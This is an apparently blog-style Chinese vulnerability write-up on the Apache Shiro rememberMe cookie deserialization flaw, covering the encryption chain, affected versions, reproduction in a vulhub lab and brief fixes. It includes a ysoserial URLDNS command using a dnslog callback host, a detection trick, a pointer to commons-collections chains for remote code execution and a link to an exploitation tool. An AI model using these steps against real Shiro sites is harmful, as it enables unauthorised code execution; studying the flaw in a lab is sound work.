0x00前言
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
0x01原理
shiro会在cookie中生成一个rememberMe字段,里面的值是输入的内容通过系列操作写入的。一般的流程为:从前端传入值,序列化后传到cookies,进行AES加密,之后通过java模块的base64加密。
而反序列化漏洞的时候,进行base64解密。之后AES解密,这个是shiro默认加密方式,其中AES的key存在密钥泄露,还有padding oracle攻击。之后反序列化,这里是漏洞的成因。
利用版本shiro<1.4.2,当shiro大于1.4.2版本的时候,编码改用了GCM方式,其余版本则使用的是CBC编码,密钥不再硬编码,可以使用padding oracle攻击
总结
加密:payload——>序列化——>AES——>base64
解密:base64——>AES——>反序列化——>payload
0x02漏洞复现
1、从vulhub下载漏洞环境
2、判断是否是shiro,在登录框部分会有一个rememberMe勾选,勾选成功通过bp抓包,里面有一个set-cookies:rememberMe=deleteMe,可以判断使用了shiro框架。
3、确认是否存在漏洞,使用URLDNS链。从dnslog上面复制网址到payload上,可以使用ysoserial工具构造链
4、将payload进行aes加密编码
1 | java -jar ysoserial URLDNS 'http://xxx.dnslog.cn'>1.txt |
其中要删除JSESSIONID,当该字段存在就不会检测rememberMe字段
5、查看dnslog,看到有请求,证明漏洞利用成功
6、使用CC链进行远程代码执行
shiro检测工具
https://github.com/safe6Sec/ShiroExp
0x03修复
1、升到高版本
2、限制rememberMe长度
3、WAF